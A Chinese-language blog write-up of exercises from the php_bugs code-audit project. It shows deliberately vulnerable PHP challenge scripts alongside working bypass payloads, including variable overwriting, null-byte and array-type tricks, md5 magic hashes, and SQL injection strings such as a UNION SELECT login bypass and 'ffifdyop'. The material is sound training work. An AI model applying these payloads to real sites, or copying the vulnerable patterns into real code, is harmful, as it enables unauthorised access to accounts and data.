参考:https://github.com/bowu678/php_bugs php_bugs是Github上一个关于php代码审计的项目,以下是笔者对于这个项目的练习,并不是里面的所有都有,一部分觉得没什么意义就不看了
文章目录
- 变量覆盖
- 绕过过滤的空白字符
- SQL注入with rollup绕过
- ereg正则%00截断&参数为数组的一些绕过
- strcmp()传入数组绕过
- strpos()函数绕过
- sha1()&md5()函数比较绕过
- SESSION验证绕过
- 密码md5比较绕过
- urldecode二次编码绕过
- md5加密相等绕过
- 弱类型整数大小比较绕过
- md5函数验证绕过
- md5函数true绕过注入
变量覆盖
extract()导致变量覆盖
extract()函数从数组中将变量到导入到当前符号表
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表创建对应的一个变量
下面这道例题使用了extract函数导致了传入的$text变量被覆盖,从而使得$a==$content
但是因为这里的file_get_content()函数原来读取的是一个txt文件内容,所以我们覆盖进去的$text无论是什么最后到$content上都是空
所以要使得这两个变量相等$a只能等于空
<?php
error_reporting(0);
echo "同目录下有个test.txt,猜猜里面写了什么,猜对了奖励你flag哦~<br>";
$text='test.txt';
extract($_GET);
if(isset($a)){
$content=trim(file_get_contents($text));
if($a==$content){
echo "<br>骗你的,根本没有test.txt哈哈<br>flag{Y0u_G0t_1t!}";
}
else{
echo "Not like that, think again";
}
}
payload:
http://127.0.0.1/php_bugs/01.php?a=&text=
$$导致变量覆盖
$$导致变量覆盖的问题一般出现在foreach遍历数组当中,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量名,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
<?php
error_reporting(0);
$name='Testing';
foreach ($_GET as $key => $value)
$$key = $value;
var_dump($key);
var_dump($value);
var_dump($$key);
echo $name;
parse_str()导致变量覆盖
parse_str(string,array)
函数把查询字符串解析到变量中
如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量
php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换
<?php
header("content-type:text/html;charset=utf-8");
error_reporting(0);
$name = 'mochu7';
$num = 777;
var_dump($name);
var_dump($num);
parse_str($_GET['a']);
echo "<hr>";
var_dump($name);
var_dump($num);
echo $name;
echo '<br>';
echo $num;
echo '<br>';
register_globals注册全局变量
register_globals的意思就是注册为全局变量,所以当On的时候,传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它
PHP从4.2.0 版开始配置文件中 PHP 指令 register_globals 的默认值从 on 改为 off 了,自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除
<?php
error_reporting(0);
header("content-type:text/html;charset=utf-8");
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";
if($name){
echo "注册成功!";
echo $name;
}else{
echo "注册失败!";
}
import_request_variables()导致变量覆盖
版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.0
import_request_variables(stringtypes[,stringtypes[,stringtypes[,stringprefix] )
import_request_variables()函数是将GET/POST/Cookie变量导入到全局作用域中,把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候
其实这个函数应该和php.ini里面的一个设置有关,variables_order = “GPCS”,这里有个解析顺序,"GPCS"就是先GET,然后POST,再Cookie,最后SERVER,import_request_variables本身传入的参数可以覆盖原有的变量,然后根据解析顺序的先后,后面解析的会覆盖前面的,也就是说传入POST参数可以覆盖GET参数,以此类推
<?php
error_reporting(0);
$auth='0';
import_request_variables('GP');
if($auth== 'mochu7'){
echo "flag{Y0u_G0t_1t!}";
}else{
echo "Not like that, think again";
}
?>
GET 传参覆盖
假设GET的不正确,也可以POST传参覆盖GET的参数
绕过过滤的空白字符
看例题
<?php
$info = "";
$req = [];
$flag="flag{Y0u_G0t_1t!}";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
代码分析:
这段代码主要是is_palindrome_number()函数和几个判断的绕过。is_palindrome_number()函数是一个检查回文数的功能,回文数就是指正序和逆序都是一样的数,比如101,0770之类的,接下来看这几个判断:
- is_numeric()函数检查传入的number变量是否是数字,is_numeric()使用%00绕过,参考文章说放在开头绕过,但是经我测试,放在结尾也行,也可以使用POST传参变量覆盖GET进行绕过,因为使用$_REQUEST[]接收传参
$req['number']!=strval(intval($req['number'])
intval($req["number"])!=intval(strrev($req["number"]))
- 到达is_palindrome_number(),条件要求是函数至少返回一次为false,这样就能输出flag
利用:
先看看正常思路的payload:
http://127.0.0.1/php_bugs/02.php?number=%00%0c191
http://127.0.0.1/php_bugs/02.php?number=%00%2b191
%00是绕过is_numeric(),191是回文数,%0c是\f,%2b是+,加入\f和+是为了在判断intval($req[“number”])!=intval(strrev($req[“number”]))之后绕过is_palindrome_number(),使得其中起码有一次条件为假输出flag
原文是用脚本fuzz出来的,但我觉得应该可以想到带符号的数字来绕过,不过这一样脚本测试更简单一点,鉴于原文脚本有个地方我实在看不懂,我自己写了个测试,但是只是测试下面这一块绕过
脚本:
import requests
def exp(url,str):
for asc in range(1,128):
r=requests.get(url+chr(asc)+"101")
if str in r.text:
print("payload: "+r.url+" ASCII:%s----Hex: %s"%(asc,hex(asc)))
print(r.text)
continue
if __name__ == '__main__':
url="http://127.0.0.1/test.php?number="
str="OK"
exp(url,str)
运行结果:
PS C:\Users\Administrator\Desktop> python3 .\test2.py payload: http://127.0.0.1/test.php?number=%09101 ASCII:9----Hex: 0x9
OK
payload: http://127.0.0.1/test.php?number=%0A101 ASCII:10----Hex: 0xa
OK
payload: http://127.0.0.1/test.php?number=%0B101 ASCII:11----Hex: 0xb
OK
payload: http://127.0.0.1/test.php?number=%0C101 ASCII:12----Hex: 0xc
OK
payload: http://127.0.0.1/test.php?number=%0D101 ASCII:13----Hex: 0xd
OK
payload: http://127.0.0.1/test.php?number=%20101 ASCII:32----Hex: 0x20
OK
payload: http://127.0.0.1/test.php?number=#101 ASCII:35----Hex: 0x23
OK
payload: http://127.0.0.1/test.php?number=&101 ASCII:38----Hex: 0x26
OK
payload: http://127.0.0.1/test.php?number=+101 ASCII:43----Hex: 0x2b
OK
PS C:\Users\Administrator\Desktop>
然后最后通过is_numeric()和is_palindrome_number()的只有两种情况,也就是上面两种情况
http://127.0.0.1/php_bugs/02.php?number=%00%0c101
http://127.0.0.1/php_bugs/02.php?number=%00%2b101
接下来就是非预期解:
http://127.0.0.1/php_bugs/02.php?number=%00-0
http://127.0.0.1/php_bugs/02.php?number=-0%00
这里的 “-” 不用url编码成%2d
SQL注入with rollup绕过
with rollup详解点这里 看例题:
<!DOCTYPE html>
<html>
<head>
<title>英却斯汀的注入</title>
</head>
<body>
<form action="" method="post">
<input type="text" name="username">
<br>
<input type="text" name="password">
<br>
<input type="submit" name="submit" value="登录">
</form>
</body>
</html>
<?php
error_reporting(0);
header("content-type:text/html;charset=utf-8");
include('flag.php');
$con = mysql_connect("127.0.0.1:3306","root","root");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="user";
mysql_select_db($db, $con);
function Filter($key,$value,$filter){
if (is_array($value)){
$value=implode($value);
}
if (preg_match("/".$filter."/is",$value)==1){
echo "HACKER!!!**********(口吐芬芳的骂你)!";
exit();
}
}
$filter = "and|or|select|from|where|union|join|sleep|benchmark|prepare|execute|concat|@|make_set|#|,|\(|\)";
foreach($_POST as $key=>$value){
Filter($key,$value,$filter);
}
@$sql="SELECT * FROM user WHERE uname = '{$_POST['username']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['password'] == $_POST['password']) {
echo $flag;
}else{
echo "账号密码不正确!";
}
}else{
print "请输入用户名和密码<br>登录即送价值999的flag哦";
}
mysql_close($con);
先和不认识的函数交个朋友:implode()详解 代码分析,也没啥分析的,传入的密码与数据库查询的密码相等即可登录,然后就是这些过滤
看到这些过滤,就只能试试这个with rollup了
with rollup要和group by同时使用,造成查询密码为空,然后我们传入的密码也为空即可相等
mysql> select * from user where uname='mochu7' group by paswd with rollup limit 1 offset 1;
+----+--------+-------+
| id | uname | paswd |
+----+--------+-------+
| 1 | mochu7 | NULL |
+----+--------+-------+
1 row in set (0.00 sec)
mysql>
接下来就很简单了,抓包改参数
username=mochu7' group by paswd with rollup limit 1 offset 1--+
mochu7是数据库中的一个账户,根据提示所得
过滤了#所以注释使用–+
password为空不填。
ereg正则%00截断&参数为数组的一些绕过
先看例题:
<?php
error_reporting(0);
$flag = "flag{Y0u_G0t_1t!}";
if (isset($_GET['password'])){
/*if(is_array($_GET['password'])){
echo 'NO';
}else*/
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){
echo '<p>You password must be alphanumeric</p>';
}else if(strlen($_GET['password']) <= 7 && $_GET['password'] > 7777777777){
if (strpos ($_GET['password'], '*^*') !== FALSE){
die($flag);
}else{
echo('<p>*^* have not been found</p>');
}
}else{
echo '<p>Invalid password</p>';
}
}
?>
ereg()
语法:
ereg(string pattern, string originalstring, [array regs])
定义和用途
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值
如果匹配成功返回true,否则,则返回false
- “[a-zA-Z0-9]+$” 这个正则匹配的是一个至多个字母或者数字
- 传入的password长度小于等于7,并且大于7777777777
- 参数password不能把*^*放前面
要是得参数能够带有*^*,就需要对ereg()正则匹配使用%00截断
要满足第二个条件,使用自然对数即可
综上所述paylaod:
http://127.0.0.1/php_bugs/05.php?password=9e9%00*^*
然后还用解法就是利用了一些函数对参数为数组的不同的处理方法绕过,例如下面这个payload也行:
http://127.0.0.1/php_bugs/05.php?password[]=
ereg()函数和strpos()函数以及strlen()函数都是处理字符串的,处理数组返回就只能返回NULL,而NULL不等于FALSE,满足条件,触发flag,要防止这种利用方式,可以把上面源码中的注释去掉,即可,对传入的参数做一个is_array()判断
strcmp()传入数组绕过
语法:strcmp(string $str1 , string $str2)
strcmp()函数用于比较两个字符串,且区分大小写,比较字符的ascii码大小
=0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
strcmp()是用于比较字符串类型的函数的(数字和字母一样其实严格意义上讲都属于字符),当传入一个数组时,接收到不符合的类型(数组,对象)会发生报错,而且在报错之后会返回值,由于版本的原因有不同,原文是说在PHP 5.3之前,显示错误信息后return 0,之后版本维修了这个漏洞,但是还是返回null,可能可以绕过一些==弱判断,但是我本地测试出来的情况是这样的
PHP 5.3以前
无论是强判断===还是弱判断==,a[]都无法绕过,判断不了返回什么
PHP 5.3及以上
通过强弱判断,确定当传参为a[],返回null
例题很简单:
<?php
error_reporting(0);
$flag = "flag{Y0u_G0t_1t!}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
die($flag);
else
print 'No';
}
?>
payload:
http://127.0.0.1/php_bugs/06.php?a[]=
strpos()函数绕过
语法:
strpos(string,find,start)
参数 描述
string 必需 规定要搜索的字符串。
find 必需 规定要查找的字符串。
start 可选 规定在何处开始搜索。
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
header("content-type:text/html;charset=utf-8");
$a=$_GET['a'];
var_dump($a);
print_r($a);
echo "<br>";
echo "<br>";
if (strpos($a,'a') === 0){
echo "第一位是a";
}else if($a[0] == 'a'){
echo "flag{XXXXX}";
}else{
echo "NO";
}
if (strpos($a,‘a’) === 0)查找传入参数第一位为a,如果满足条件输出“第一位是a”不满足继续向下执行判断传入参数是否第一位为a的参数,看似这里矛盾了,无法执行到输出flag,但是这里可以利用strpos()的漏洞,strpos()只是判断字符数据的函数,如果传入数据并不是字符而是数组,会返回NULL,而在强判断三等号当中,NULL并不等0,可以绕过,综上所述,payload如下:
http://127.0.0.1//test.php?a[0]=a
sha1()&md5()函数比较绕过
以下方法使用于sha1()与md5()
语法:
sha1(string,raw)
参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:
TRUE - 原始 20 字符二进制格式
FALSE - 默认。40 字符十六进制数
例题:
<?php
error_reporting(0);
$flag = "flag{XXXXXXXXX}";
highlight_file(__FILE__);
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die($flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
思路很简单,sha1()函数处理的也只是字符串参数,如果出现了字符串以外的参数,会返回NULL,这样就可以绕过sha1($_GET[‘name’]) === sha1($_GET[‘password’])的比较了,而$_GET[‘name’] == $_GET[‘password’]因为我们传入的是数组,只要数组值不相同,就可以绕过,综上所述,payload如下:
http://127.0.0.1/php_bugs/07.php?name[]=a&password[]=b
SESSION验证绕过
<?php
error_reporting(0);
$flag = "flag{XXXXXXX}";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ($flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
首先来认识函数:
session_start()
初始化session,当需要使用$_SESION时,需要在$_SESION使用之前调用session_start()
告诉服务器使用session。服务器会根据请求头部传来的cookie中或url中的PHPSESSID来确认此sessionid对应的$_SESSION数组
这题也不是可能去解rand()函数的规律,所以这题只要删除cookie当中的PHPSESSID,然后参数传空即可?password=
密码md5比较绕过
<?php
error_reporting(0);
//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("127.0.0.1", "root", "root");
mysql_select_db("test") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
//sql语句
// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
$sql = "select paswd from user where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[paswd]) && (!strcasecmp($pass, $row[paswd]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
可能需要认识的函数:strcasecmp()
strcasecmp() 函数比较两个字符串,不区分大小写
语法:
strcasecmp(string1,string2)
参数 描述
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
只要使得,查询语句正确执行,并且查出的数据和我们传入的数据相同即可得到flag,payload:
在post中传参:
user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
urldecode二次编码绕过
<?php
error_reporting(0);
if(eregi("mochu7",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "mochu7")
{
echo "<p>Access granted!</p>";
echo "flag{XXXXXXX}";
}
?>
因为URL栏本身要编码一次,所以我们这里需要编码两次,但是不用全部都编码,两次编码一下第一个字符就可以了,payload:
m----第一次urlencode---->%6D-----第二次urlencode----->%256D
http://127.0.0.1/php_bugs/10.php?id=%256Dochu7
md5加密相等绕过
<?php
error_reporting(0);
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{XXXXXXXXXX}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
弱判断==对比的时候会进行数据转换,0eXXXXXXXXXX的十六进制参数都被转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
如果你的一个账号的密码,这个密码十六进制也能登进去,说明是一定是明文存储密码(让我想到了QQ之前的账号就能这么登录),同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码就是没加盐直接md5保存的,payload如下:
http://127.0.0.1/php_bugs/13.php?a=240610708
弱类型整数大小比较绕过
<?php
error_reporting(0);
$flag = "flag{XXXXXXX}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
利用php弱类型特性,当一个整数型要和另一个其他类型比较时,会把这个其他类型intval()然后再对比,如果我们传参一个7777a
就可以绕过is_numeric(),而且也大于1336,payload:
http://127.0.0.1/php_bugs/22.php?password=7777a
md5函数验证绕过
<?php
error_reporting(0);
$flag = 'flag{XXXXXXXX}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
使得传参经过md5()后为0,两种办法:
- 不赋值,使得“?password=”这样传参md5()之后得到的是空,NULL在弱比较==当中也就等于0,这样即可绕过,payload:
http://127.0.0.1/php_bugs/23.php?password=
- 传入参数md5()后,开头为0x***********,其结果为0*10的n次方,结果还是零,这样也可以绕过,payload:
http://127.0.0.1/php_bugs/23.php?password=240610708
http://127.0.0.1/php_bugs/23.php?password=QNKCDZO
md5函数true绕过注入
<?php
error_reporting(0);
$link = mysql_connect('127.0.0.1', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM user WHERE paswd = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
关键是这句:
$sql = "SELECT * FROM user WHERE paswd = '".md5($password,true)."'";
md5()增加了参数true,会将16进制转换为字符串,闭合就可以了,payload:
SELECT * FROM admin WHERE pass = '' or 'xxx'即可绕过
字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c hex转换成字符串: 'or'6<trash>
http://127.0.0.1/php_bugs/24.php?password=ffifdyop